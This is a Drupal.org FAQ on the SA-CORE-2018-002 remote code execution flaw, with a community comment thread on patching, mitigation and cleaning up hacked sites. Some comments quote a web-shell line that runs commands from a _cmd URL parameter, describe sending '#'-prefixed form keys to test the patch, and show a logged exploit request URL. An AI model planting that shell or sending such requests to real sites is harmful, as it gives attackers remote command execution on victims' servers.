FAQ about SA-CORE-2018-002

We encourage users to post events happening in the community to the community events group on https://www.drupal.org.
Drupal Security Team's picture

How many sites are likely affected?

Drupal 8, 7, and 6 sites are affected. According to the Drupal project usage information this represents over one million sites or about 9% of sites that are running a known CMS according to Builtwith.

How dangerous is this issue?

Drupal security advisories include a risk score based on the NIST Common Misuse Scoring System. This helps give an objective sense of the risk of different issues. The risk of SA-CORE-2018-002 is scored 24/25 (Highly Critical) AC:None/A:None/CI:All/II:All/E:Exploit/TD:Default.

In the long form this means:

  • How difficult is it for the attacker to leverage the vulnerability? None (user visits page).
  • What privilege level is required for an exploit to be successful? None (all/anonymous users).
  • Does this vulnerability cause non-public data to be accessible? All non-public data is accessible.
  • Can this exploit allow system data (or data handled by the system) to be compromised? All data can be modified or deleted.
  • Does a known exploit exist? Exploit exists (documented or deployed exploit code already in the wild).
  • What percentage of users are affected? Default or common module configurations are exploitable, but a config change can disable the exploit.

Note on the last point that while a configuration change can theoretically mitigate the issue, it would have to be a drastic configuration change. The Security Team strongly recommends that the best solution is for sites to upgrade.

Who found this issue?

The issue was identified by Jasper Mattsson (Jasu_M) as part of general research into the security of Drupal. Jasper works for Druid who provide a variety of services including security audits of Drupal sites.

Over the years, security issues in Drupal have been found a variety of ways including researchers with personal motivation and through paid penetration tests or security audits. Drupal site owners concerned about security are encouraged to hire security firms to review their site.

What could an attacker do on a vulnerable site?

A successful exploit of the vulnerability can have a dramatic impact on the site. See the description of the risk score for details.

Is the issue being exploited?

Exploits have been developed. Sites not patched by Wednesday, 2018-04-11 may be compromised. This is the date when evidence emerged of automated attack attempts. It is possible targeted attacks occurred before that.

Simply updating Drupal will not remove backdoors or fix compromised sites. Site builders should therefore update their sites immediately and then investigate to see if their site was compromised, perhaps following the guide for fixing a compromised site. See Drupal Core - Highly Critical - Public Service announcement - PSA-2018-002.

My site has been hacked, what should I do now?

Whether it was exploited via this issue or some prior issue, there is a general guide for "hacked" sites.

I manage a Drupal 6 site, is a fix available?

Yes, Drupal 6 is also affected and the Drupal 6 Long Term Support project has patches available.

What other security measures might I put in place to improve my site's security.

A few general suggestions include:

I manage a Drupal 8.0/8.1/8.2 site, is a fix available?

Previous minor versions of Drupal 8 are not supported after a new minor release is created. If your site is currently on a Drupal release prior to 8.3.8, there are other disclosed security vulnerabilities that may affect your site. For this reason, you should immediately update to at least Drupal 8.3.9 or 8.4.6, then plan to update to Drupal 8.5.1 or higher within the next month.

I can't update my site, what can I do to mitigate the problem?

There are several solutions, but they are all based on the idea of not serving the vulnerable Drupal pages to visitors. Temporarily replacing your Drupal site with a static HTML page is an effective mitigation. For staging or development sites you could disable the site or turn on a "Basic Auth" password to prevent access to the site.

List of updates

This FAQ may be updated and any updates will be summarized here.

Comments

Does putting the site in

OliverH's picture

Does putting the site in maintenance mode mitigate the problem?

Sorry but no

michee.lengronne's picture

Sorry but no. The flaw affects the Bootstrap system.

The maintenance mod still uses it.

My Profile

Blog articles on Medium

Live stream on Twitch

<

div>Videos on <a href="http

Too bad, supposed to Stop Apache last night

paulwdru's picture

Too bad, supposed to Stop Apache service last night instead of putting the website under maintenance

There's a high chance it does not

beerendlauwers's picture

There's a high chance it does not. The exploit is done via maliciously formed cookies, POST requests or query strings. I think that as long as a Drupal bootstrap has been done, it's exploitable. So even the maintenance page or /user/login may be vulnerable.

Patch already applied

zbombicz's picture

Hi,
during the patch I get:

checking file includes/bootstrap.inc
Reversed (or previously applied) patch detected!

Is this means my website was hacked?
The patch was applied by an external party 20 minutes after the security release :S

It sounds more like you have

pjcdawkins's picture

It sounds more like you have an integration with an automatic security update service - maybe Drop Guard?

I don't use Drop Guard, Is it

zbombicz's picture

I don't use Drop Guard,

Is it possible that BOA updated my all websites automatically with the security patch?

I tried to run the given patch file with patch -p1 command, but I realized that my websites was already patched half an hour before (the new file request-sanitizer.inc exists on all of my website without running the patch).

i think that really good

kmajzlik's picture

i think that really good webhostings have some tools to do this while there is no need to update drupal*. it is easy to find if there is drupal in directory, it is easy to apply patch. just put this into some shell script which goes through all folders in /var/www ...

*in most cases, see patch

I found some log files in BOA

zbombicz's picture

I found some log files in BOA about patching, so - fortunately - it was an automated BOA script.
I changed my server environment to BOA a couple of weeks before and I didn't noticed that this script exists and works for me :)

Thank you guys for the quick responses.

What method are you using to

David_Rothstein's picture

What method are you using to apply the patch?

Drush

michee.lengronne's picture

Drush rf
Drush pm-update

My Profile

Blog articles on Medium

Live stream on Twitch

<

div>Videos on <a href="http

Not necessarily

dannyw99's picture

I encountered that same error when I was testing how to apply this patch and found that I had to run it like this for it to work:

    patch -p1 < /tmp/SA-CORE-2018-002.patch

You should check to see if this file exists:
    includes/request-sanitizer.inc

Also check if it is being included:
    grep request-san includes/bootstrap.inc

In this case, probably not,

DanZ's picture

In this case, probably not, as it was patched so quickly. Probably, some sort of site management system took care of it for you.

However, hackers want to own your site, not share it with other hackers. So, after they break in, they'll commonly patch it to keep other hackers out.

Password protecting a site before Drupal bootstraps

ressa's picture

A more efficient way to password protect a site is with .htaccess:
https://stackoverflow.com/questions/5229656/password-protecting-a-direct...

This will prompt visitors for username and password before bootstrapping Drupal.

Not really

michee.lengronne's picture

You must trust every user who has a password not to sneak in other users or admins stuffs.

My Profile

Blog articles on Medium

Live stream on Twitch

<

div>Videos on <a href="http

I Assume this is for admin users

dschafer's picture

Otherwise then it really isn't any protection

Error using drush situs-build

atpkpe's picture

Having a CI in a deploy pipeline that takes uses drush situs-build and a .make file as argument.
.make file is committed with: projects[drupal][version] = 7.58
The build fails with: Could not locate drupal version 7.58 (7.57 works)

good start: do not do

kmajzlik's picture

good start: do not do "update", just use patch.

Here's the solution:

Filozofer's picture

Same problem on my side and I found the solution here : https://www.drupal.org/project/drupal/issues/2357371#comment-9251721

It was a drush cache issue with the previous download.

Which bootstrap.inc to change

reachatjegan's picture

I have 2 bootstrap.inc in my installation.
1 - /apps/drupalhome/includes/bootstrap.inc
2 - /apps/drupalhome/drush/includes/bootstrap.inc

Which file I should apply the patch to.

/apps/drupalhome/includes/boo

kmajzlik's picture

/apps/drupalhome/includes/bootstrap.inc

Now that this out

immauss's picture

Does anyone have a way to monitor logs for someone trying to exploit this?

I am working on automated log

laboratory.mike's picture

I am working on automated log monitoring at https://bitbucket.org/ceriumsoftwarellc/zeomine-server-monitor , however I haven't finished the access log parser yet.

I had a site hacked during Drupalgeddon, and I could see a particular IP making only POST requests to a specific file on my site (the back door he put in). You will need a way to parse the logs regularly, and then you will want an alert system to tell you when something suspicious is found. I'm trying to make a pre-packaged version with ZSM, but with a little Python and a cron job you can write a script to watch your logs very easily.

Logging: set "sanitize_input_logging"

fonant's picture

D6 and D7:

drush vset sanitize_input_logging 1

D8 add this to settings.php:

$settings['sanitize_input_logging'] = TRUE;

I think.

For D6 and D7 drush vset

plach's picture

For D6 and D7 drush vset won't work, see https://twitter.com/plach__/status/979096773074608128

Cloudflare WAF Rule

maniosullivan's picture

Cloudflare users can apparently use a WAF rule that they have created to mitigate the risks associated with this vulnerability: https://blog.cloudflare.com/drupal-waf-rule-to-mitigate-critical-exploit/

Does anyone know if they can share that rule with the rest of the Drupal community? Anyone got any cloudflare contacts they can ask?

Would be nice to know if

bmiro-apsl's picture

Would be nice to know if there is any way to apply a similar rule on Nginx or Apache to mitigate the issue.

There's a gist with some

ghazlewood's picture

There's a gist with some mod_security rules that should help block the vulnerability, I've not used them so I can't attest for their validity though.

https://gist.github.com/SniperSister/96bbf89a579f763884ceb0b434d73b36

Awesome, many thanks! I'll

bmiro-apsl's picture

Awesome, many thanks! I'll try them. I'll try to post feedback in some days if worked :)

Hi How can we find out if the

oppure's picture

Hi
How can we find out if the vulnerability has been exploited on our website before we updated it? Thanks.

A few things to try

laboratory.mike's picture

1: Start with the Hacked! module.

2: Look at your user list, specifically admins

3: Look at your apache/nginx logs, and maybe write a parser that shows IPs that only made POST requests, or non-GET requests. Or, only GET Requests with query parameters.

4: If you have Git or another repo software, do a diff of your code to see if any unusual files pop up

5: Depending on your Linux skills (I am admittedly a bit weak), you could look at auth.log or syslog for unusual commands.

Hmm, the Hacked! module

rahim123's picture

Hmm, the Hacked! module says:

This is primarily a developer tool and should never ever (don't even think it) be installed on a production site.

After Drupalgeddon a specific scanner tool was developed to test for compromises. Will anything like that be created for this vulnerability?

I am also interested in that.

howdytom's picture

I am also interested in that. Any SQL commands?

Set file system to read-only

djsalv's picture

Considering (4) above, does this imply that for a more-or-less static site setting the file system to read-only might mitigate against the vulnerability? We have a site that is now essentially informational which remains on D6. I can't as yet see any patch for this problem on D6LTS. Locking it down to read-only for most of the time would not be a great inconvenience especially if being hacked is the alternative.

Here is the D6LTS

GuyPaddock's picture

I think you're referring to this part: "Temporarily replacing your Drupal site with a static HTML page is an effective mitigation."

Static -- as in no database component. A site that just serves up a set of HTML pages, without any PHP logic. It doesn't matter whether the Drupal code is read-only -- the vulnerability lies with the logic of the PHP code that would allow an attacker to log-in as any user using the exploit.

The code doesn't need to be modified to exploit the attack; the attacker would be exploiting a vulnerability to get access to what's in the database. So, the database and any special functionality the code does for site users is what's vulnerable.

That's what we did for our larger sites

laboratory.mike's picture

Yes, that was the approach we did for our larger sites while upgrading. We call this "hard maintenance," and do it often for large upgrades so that we can be sure nothing is going on in the database.

For all other sites we did that day, we just turned off our server software and allow "cannot connect" errors for an hour or so.

Its good to get a static HTML page "hard maintenance mode" set up for your site for times like this, or during major upgrades.

maggie_s's picture

When will a Drupal Commons release with the SA-CORE-2018-002 be released?

How to know if sites have been Compromised ?

paulwdru's picture

Prior to update / patch, how exactly we know if the sites were compromised ?

read

Maximum elapsed time before resorting to backup?

Andy Inman's picture

If the time between the patch/update release and implementation is greater than x, it would be sensible to restore the site from backup. What is x? In the case of the infamous SA-CORE-2014-005 it was considered to be 7 hours.

I have a client who, contrary to my advice, decided to run QA before implementing the update on their live site. The result, it's still not patched/updated (24 hours later), and doesn't look like it will be until at least tomorrow morning. Elapsed time will be at least 36 hours. Too long I think - I'm recommending to them that they restore form backup and change all account passwords (filesystem should be safe because they're hosted on Pantheon).

But on the other hand, there have still been no reports of real world exploits, maybe because it's taking hackers longer this time to code a functional exploit?

Thoughts please?



Currently part of the team at https://lastcallmedia.com in a senior Drupal specialist role.

Some help please!?

Andy Inman's picture

Would it be reasonably accurate to state that the risk of a site being compromised is increasing exponentially with time? If not, what would be a good concise way to indicate urgency?

Situation: several unpatched sites running 7.5x, specifically 7.56 and 7.57.

Thanks in advance.



Currently part of the team at https://lastcallmedia.com in a senior Drupal specialist role.

Exponential increase in risk

theargument's picture

I'm not sure that this is an answerable question. Exponential increase implies that the rate of increase of a factor is becoming more and more rapid with time - for example, acceleration in terms of speed (note that the term exponential also implies a time element so it wouldn't be necessary to include). without knowing exactly how many malevolent parties are out there, and the time scales of how aware they are becoming of the exploitability of unpatched sites, and then the rate at which they are putting that into practice - it's dubious whether you could ever know that the use the term exponential was accurate.

If, for example, the word went out that 99% of sites had already been patched, this might even deter hackers from bothering - and, regardless of whether the stat was true, the risk might then decrease over time...

If you're looking to create a sense of urgency in terms of updating sites on your servers I'd say that it is best to simply state that every minute that passes where a production site remains unpatched is a minute that someone could be using a known security flaw to access that site and act maliciously. The longer it goes on - naturally the greater the risk.

I know you said concise... but if someone doesn't get why patching as quickly as possible is the only option then perhaps it might need a bit of explanation!

It's kind of beyond me why there are still sites out there not patched 2-3 days after the release.. especially after the calamity of Drupalgeddon. but I guess some people have their reasons...

It's kind of beyond me why

Andy Inman's picture

It's kind of beyond me why there are still sites out there not patched 2-3 days after the release.. ... I guess some people have their reasons...

Agreed. In this case their "reason" is QA procedure (go figure!).

Exponential increase implies that the rate of increase of a factor is becoming more and more rapid with time

My thinking was: if somebody writes a script to attack vulnerable sites, they might well share that script with others for kudos, each of whom then share it with more people, hence exponential. My objective only to come up with a suitably scary statement to help this particular client understand that this is probably not a good time to stick to their conventional QA procedure!

Thanks for your input.



Currently part of the team at https://lastcallmedia.com in a senior Drupal specialist role.

At this point the fact that

greggles's picture

At this point the fact that the FAQ hasn't been updated about this point is one way to know, but I'll state it positively: there's not yet evidence of broad exploits going after a list of Drupal sites in the same was as SA-CORE-2014-005. I believe in 2014 that some of the big hosting companies that were logging information saw attacks going after Drupal sites in alphabetical order.

There could be targeted attacks going after specific sites.

Regardless of that, it would be wise to update (whether via patch or other mechanism) absolutely as soon as possible. If patching seems like it takes a long time to someone, ask them if these cleanup steps seem like a quick task: https://www.drupal.org/drupal-security-team/your-drupal-site-got-hacked-...

I just want to add to what

cilefen's picture

I just want to add to what @greggles wrote: It is a responsibility of site owners and operators to be ready and able to install security updates when they are released. Moreover, it should be acceptable to businesses that this will occur.

If patching seems like it

Andy Inman's picture

If patching seems like it takes a long time

In the end it took 42-43 hours, from publication of the SA. Seems like a long time to me, not to them. Security methodology implemented is known as fingers-crossed :)



Currently part of the team at https://lastcallmedia.com in a senior Drupal specialist role.

tomarnold2's picture

Hi. First, thank you Drupal community for being so fast and transparent when finding issues. This community is simply awesome and I'm excited to be a part of it.

I looked at the patch and being on Pantheon I've already taken the updates through our dev, test, and production environments.

What I'm not clear on is how/where the variables referenced by the variable_get() calls are being set. Do I just programmatically go set the sanitize_input_logging variable to TRUE? Is there UI for setting the sanitize_input_whitelist variable?

I'm guessing that this patch was to get the groundwork quickly in place and that additional bits will be following, but I'm not sure if I'm looking in the appropriate places and don't want to miss something.

Thank you,
Tom

See #comment-1157304

plach's picture

See above

Thanks!

tomarnold2's picture

Thanks, plach!

settings.php:
$conf['sanitize_input_logging'] = 1;

Got it. Much appreciated.
Tom

D7 Patch Test

Patch Test

subas8720's picture

How to test the patch for SA-CORE-2018-002

Patch Test

subas8720's picture

How to test the patch for SA-CORE-2018-002

https://fuerstnet.de/en/drupa

rahim123's picture

https://fuerstnet.de/en/drupal-upgrade-easy-way

patch -p1 --dry-run < PATCHFILE

Tested by me

praveen_91's picture

This is a code injection attack using RCE.

Code :->


if($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE))
{
unset($input[$key]);
$sanitized_keys[] = $key;
}
What Condition above ?
SO, the $key is not blank, and the $key IS a # and the $key is not part of the whitelisted values... Then drop the key.
In other words, keys that === # are bad, according to Drupal.
it's choosing the first letter of the key value.

BY GET ->

Use URL encode hash and that will work. (# = %23)
http://test-site.dd:8083/?%23=node

Now above if condition should be TRUE.

BY POST ->

For post we can test this by passing # first letter of the key value.

$form['#name'] = [];

You can set by using inspect element like
input type="text" id="edit-name" name="#name" value="" size="60" maxlength="128" class="form-text required"
and hit submit.

Thanks

Please just upgrade Drupal

pwolanin's picture

Please just upgrade Drupal core rather than patching!

Note also the D6lts patch and corresponding github releases for that and Pressflow 6 were updated to fix a subtle flaw in the released security fix that was affecting a couple contrib modules including Organic Groups (og) for Drupal 6.

https://github.com/d6lts/drupal/releases/tag/6.43

https://github.com/pressflow/6/releases/tag/pressflow-6.43.124

Should I classify this website as affected

metalbote's picture

One of my managed websites had some weird POST attempts on login.php with password reset requests on one user multiple times within seconds. I put the website into maintenance and while investigating apache.log and drupal database log all non core modules suddenly where disabled...

In apache log there are only those POST requests which look strange, hacked does not show any difference to my latest development snapshot. Because of the disabling modules the drupal database log is now quite useless, the 1000 lines are exceeded by module not found messages....

I have backups, so thats not the problem, i am unsure about stolen user data.

Any suggests or ideas ? May it be affected or could it be something different?

P.S. POST Requests look this way, like normal password resets, but ca. 100 times within seconds :

x.x.x.x - - [30/Mar/2018:07:11:52 +0200] "POST /de/user/reset/1575/1522386676/login HTTP/1.1" 302 730 "/de/user/reset/1575/1522386676/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"

Alan D.'s picture

all non core modules suddenly where disabled...

Unless you triggered this, I would assume that the site has been compromised.

The reset link itself tends to be triggered by more intelligent bots that are trying to sniff out valid user names to attack. Once known, a brute force p/w attack is more likely to work.

Details regarding reset requests followed by multiple login attempts can be found here:

https://www.drupal.org/project/drupal/issues/2939720

Albeit the your details you supplied are slightly different to the norm here. If you think this looks like a new exploit, don't publish any more details to this thread and followup via the security queue: https://www.drupal.org/node/101494

Did you reach a conclusion?

Andy Inman's picture

Did you reach a conclusion? What was it?



Currently part of the team at https://lastcallmedia.com in a senior Drupal specialist role.

database log is now quite

Andy Inman's picture

database log is now quite useless, the 1000 lines are exceeded by module not found messages

That sounds like the modules are actually missing from the filesystem, not that they have been disabled in Drupal. I have no idea whether this may be a result of an exploit of the current vulnerability.



Currently part of the team at https://lastcallmedia.com in a senior Drupal specialist role.

Andy Inman's picture

EDIT: This is probably not related to SA-CORE-2018-002 - maybe just brute-force password crack attempts...

Repeated approx every 6 hours, these 3 wd log entries immediately after each other from same IP address:

  1. Login attempt failed for admin
  2. Access denied at admin/build/modules
  3. Access denied at admin/modules

The first at 03/28/2018 - 02:59 - so about the right time if this is related to SA-CORE-2018-002 - also the fact that they're trying admin/build/modules (which was the Drupal 6 modules path) is a clue. EDIT: Correction, that timestamp too early, so probably not related?

Site running 7.58, so not vulnerable.

Some IP addresses: 185.212.128.24, 89.248.107.126, 46.222.136.59. Is it possible to get drush ws to show IP addresses? The --full option doesn't seem to do it.

I can dig through the nginx log later and find the actual requests, I'll do that later.



Currently part of the team at https://lastcallmedia.com in a senior Drupal specialist role.

Malicious requests performing automated password reset

ressa's picture

An increase in malicious requests performing automated password reset on accounts were reported late January 2018, when this issue was created: Reset admin password instructions were sent for multiple Drupal websites., and they seemed to make a comeback lately, so perhaps this is just a coincidence?

Confirmed. I've checked some

Andy Inman's picture

Confirmed. I've checked some of my other sites and see similar attempts that go back several months, so almost certainly unrelated.



Currently part of the team at https://lastcallmedia.com in a senior Drupal specialist role.

I have a lot of "access

stevieb's picture

I have a lot of "access denied" for "admin/build/modules" or "admin/modules" on a number of D7 site going back to "03/16/2018"
so I don't think their related to SA-CORE-2018-002

How this veulnerability can be exploited

pras.jd07's picture

Hii....

I want to know how this vulnerability of remote code execution can be exploited in drupal 7 or 8.

"Drupal 8, 7, and 6 sites are

fprevos2's picture

"Drupal 8, 7, and 6 sites are affected"

thanks

pras.jd07's picture

thanks for your reply. I wanted to know how this vulnerability of remote file execution of drupal can be expoited.

Does it require Administrator permissions to attack website or anonymous users can perform this to drupal website.

Any functional site

Alan D.'s picture

All 6, 7 and 8 sites, even in maintenance mode while logged out.

No published PoC yet, but effectively exposes one of the core APIs that can be tricked into executing code.

thanks

pras.jd07's picture

Thank u for the reply

@pras.jd07 AHAHAH!

paolomainardi's picture

@pras.jd07 AHAHAH!

Patch for Drupal 8.0.5???

James Hawthorn-Byng's picture

Hi,
We inherited a Drupal 8 website last week that is still running 8.0.5!!!
The site has been badly coded and is currently unable to be swiftly upgraded without breaking.
Having looked at the patch for 8.3-x, would it be viable for this issue (we are acutely aware there are many other vulnerabilities) to apply the same patch as 8.3?

Thanks for your advice!

(Please don't just tell me to upgrade. We are in the process, but the custom modules and adjusted contrib modules are making it very tricky, need a fix for this highly publicised vulnerability)

I don't see why not. The

ezra's picture

I don't see why not. The patch is fairly simple, you should be able to manually recreate it for just about any version of Drupal.

prakashSA's picture

We have a Website used by Internal Employees running on Drupal 7.42..

As this website is only internally accessible - Do we still have the same Vulnerability ?

Sort of

laboratory.mike's picture

With an internally hosted website, you are still vulnerable, but because it is not Internet facing, it would be more difficult to exploit than an automated script that pokes at every IP on the Internet. However, if an attacker found a way into your organization, your site would be exposed in that type of attack.

Depends

dschafer's picture

Is it truly not publicly accessible? Users have to be on your corporate network in order to access it?

I would at least apply the patch.

Thanks

prakashSA's picture

I will apply the patch ASAP

Patch it

mpdonadio's picture

Never trust that a site on an intranet is safe from attackers. One, it is pretty easy to accidentally open it to the public (apply wrong security group, open WiFi, etc). Two, you can't 100% assume your users won't do something on purpose or by accident. Three, just because it is on the intranet today doesn't mean someone won't want it on the public internet in the future. Keep internal sites up to date.

Thanks

prakashSA's picture

We will patch it soon

Thanks

prakashSA's picture

Thanks

What configuration change can mitigate the issue?

rreiss's picture

Can you please explain:
"Note on the last point that while a configuration change can theoretically mitigate the issue, it would have to be a drastic configuration change." ?

I assume that you mean that the configuration change is to give up on some functionality, but what if we don't need that functionality?

Thanks.
Rotem

Now that the checkpoint

greggles's picture

Now that the checkpoint research is available it seems to me that it's OK to answer this question.

Drupal is a fun and powerful system :) People build a lot of different stuff with it that has a mix of core, contrib, custom code, and lots of custom configuration. That makes it really hard to give accurate advice that would work on all the sites that would read the advice in the security advisory.

As the checkpoint article and some subsequent exploit scripts show, this vulnerability affects at least common elements in very common forms. Generic advice about a configuration change would have to include disabling basically all forms for untrusted users. That's a drastic change to the nature of a dynamic CMS like Drupal. Even then, that might not be completely effective for all sites. So the team was left with 2 choices:

  1. Include configuration change advice that is hard to describe in terms that apply to all sites, hard to implement, and not guaranteed to be effective.
  2. Exclude that advice and instead focus attention that people upgrade their codebase quickly. The upgrade path is effective and the change is minimal, so it should be straightforward for site owners to test and apply.

Hopefully it makes sense why we went with option #2 :)

Patch won't apply

Brzrkr's picture

I didn't have request-sanitizer.inc, so I created it. That said, each time I use git to apply the patch, it errors out about

error: git apply: bad git-diff - expected /dev/null on line 19

Line 19 of the patch file is: --- /dev/null

Any ideas?

If you haven't figured this

greggles's picture

If you haven't figured this out yet, I suggest not using a patch and instead upgrading the codebase.

It's hard to give advice about what the problem is without more details and there's not really enough time on an issue like this to figure that out. Upgrade the whole codebase :)

my site is hacked,

freelylw's picture

my site is hacked, lots"index.php" files has been installed on many folders, they all point to a "ico" file that has been installed in one of the folder

I upgrade to 7.58 after hacked, so its doesn't solved problem now, after I removed those php files, after few hours they came back, I really need help now. its a serious business site with thousands members.

I need to find out the backdoor , but I don't know how to do it.

Please suggest how should I do to solve this ?? my understanding is if I delete all the site files, then upload the new again that will remove the backdoor files ??

Please help,thank you

@freelylw have a read of

alexpott's picture

@freelylw have a read of https://www.drupal.org/drupal-security-team/your-drupal-site-got-hacked-...

If you have a backup from before the hack one possibility to consider is to upgrade that somewhere not connected to the internet and install that to an completely new server and trash the hacked site. It can be extremely difficult (if not impossible) to close all the doors once a site has been hacked.

It keeps coming

eltioseba's picture

Same here, I update the site but its get hacked again.

Any advice?

In case you have a working

qsoul's picture

In case you have a working and not hacked (for sure) backup both of the site files and db:
- install it locally
- update it locally
- remove the existing website from your hosting area.
- if it is your server - perform a security audit and check/remove for malware. In case you use a shared hosting - inform their support that you has been hacked and ask them to do the same (security check/cleanup) for you.
- reinstall your updated and not hacked site from your local copy.

But anyway, there is a huge risk that your server could be completely compromised. In this case the almost only option is to reinstall the website from an unhacked backup at a completely new and clean server.

I'm assuming you don't have a

vood002's picture

I'm assuming you don't have a good backup.

I cleaned one up and it shows no signs of any continued issues.

1- There was a cronjob under the user Apache on the server
2- There was a new admin account created in drupal
3- There was a malicious snippet injected into hundreds of php files. It's on the first line. In my case, it was: <?php if (isset($_GET["_cmd"])) die(passthru($_GET["_cmd"])); ?>
4- There was a new directory/library inserted in the drupal root which allowed--i believe--mysql access. Look for other unexpected files in the root (well, everywhere, but root is easiest)
5- There was malicious code injected in (maybe every) javascript file. Sorry i don't have notes on hand on exactly what that code was, but it'll likely show up in your console if it's present
6- Change mysql password, server password (or better yet only allow access with ssh), look for new linux users (i didn't have any), change all drupal admin passwords.

Certainly restoring from a backup is the preferred route, but the above worked for me.

thanks

eltioseba's picture

Ok, will try those or restore to a previous clean backup.
thanks!

Some questions

vstmusic's picture

Hi,

(sorry for my bad english)

  • On my website I redirect "user/register" to front page (permanent redirection in .htaccess). It's the same for "contact" page. Is it a protection against attack ?

  • My drupal installation is in a subfolder (it is transparent; and not visible; redirection with .htaccess). After rebuild of my website with backup files and database (used before attacks), I change subfolder and I erase old folder. Does-it help ? (I have rebuild website and made the patch april '20)

  • After rebuild of my website with backup files and database (used before attacks), I change password of my FTP access and SQL database. Is-it a protection ?

  • I have no sign (no files created in drupal installation) after attacks. Can I hope that I m OK ?

Thanks for your attention !

Just update your site

Chi's picture

@vstmusic, the short answer is not.

The only reliable way to protect you site against this vulnerability is to update it (or at least apply a patch).

However if your site has been already hacked you have to fix it manually (change passwords, delete suspicious user accounts, find and remove malicious code and so on).

Thank you !

vstmusic's picture

Yes, patch is applied. But I applied too late (april 19 ). No sign of intrusion but I prefer reinstall website in other subfolder whith backup data (from april 11. I can't restore older data).

Thank you for attention.

In my opinion (I know that

rreiss's picture

Assuming that this is a D8 site and the redirect that you have is really working, then in my opinion (I know that some will disagree) If you checked carefully (e.g. netstat, suspicious files..) and you don't see anything malicious on your server, then I would not be concerned too much.

I'm not aware of any exploits (in the wild..) beside those with the register page we showed on our "uncovering Drupalgeddon2" blog post.

Any form is a target, not just the register page!

iAugur's picture

There are numerous real examples of attempts to exploit this on pages other than register - updating/patching is the only option a redirect is not sufficient.
We are seeing and blocking these regularly.

I have a site that was hacked...

vood002's picture

I have a site that was hacked I believe due to this vulnerability.

Is there a reason nobody is posting malicious code that can be scanned for? I found some and have a few commands you can run to see if the same code was inserted in your site as was inserted in mine, but I'm not sure what the protocol is for this situation.

Automated attacks against SA-CORE-2018-004

apiddington's picture

I applied 7.58 on 30 March. I.e. before the 11 Apr date that automated attacks against SA-CORE-2018-002 being seen in the wild.
SA-CORE-2018-004 was released on 25 Apr and I was unable to apply 7.59 until 29 Apr.
What is the risk that my site has been compromised i.e. when were automated attacks against SA-CORE-2018-004 seen in the wild.
Any tips on determining if the site has been compromised? What date would I have to restore to be sure of a clean site? I can't see anything obviously wrong with the site.

The chances of an exploit are

greggles's picture

The chances of an exploit are fairly high. You should follow this guide which can help determine if your site is compromised and how to clean it up.

cache confirm

powysm's picture

The patches were in place immediately, however i notice that caches were not cleared down until later. As caching is not mentioned as part of the advisory can i assume clearing of cache was not essential in mitigating this issue?

kailashgajara's picture

I have been getting lots of warnings like below and site goes down in few hours. I have to restart Apache to get sites back up. What is the issue? I have installed fail2ban module as well.

Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line xx of //modules/user/user.pages.inc).

http://www.xx.com/?name%5B%23type%5D=markup&q=user%2Fpassword&name%5B%23...

Patch throwing 404 now

er.pushpinderrana's picture

One of my clients is still using this patch (https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0...) as they are still running on 8.4.5 and planning to upgrade it to the latest Drupal version sometime by end of this month. Due to this, the regular deployment build is also breaking given composer is unable to apply this patch. What is the recommended way/solution now until we complete the Drupal upgrade? Any help would be really appreciated. Thanks!

Pushpinder Rana

Give

generalredneck's picture

Give https://git.drupalcode.org/project/drupal/commit/5ac8738fa69df34a0635f09... a shot. There was a recent move to Gitlab.

Security

Group organizers

Group notifications

This group offers an RSS feed. Or subscribe to these personalized, sitewide feeds:

Hot content this week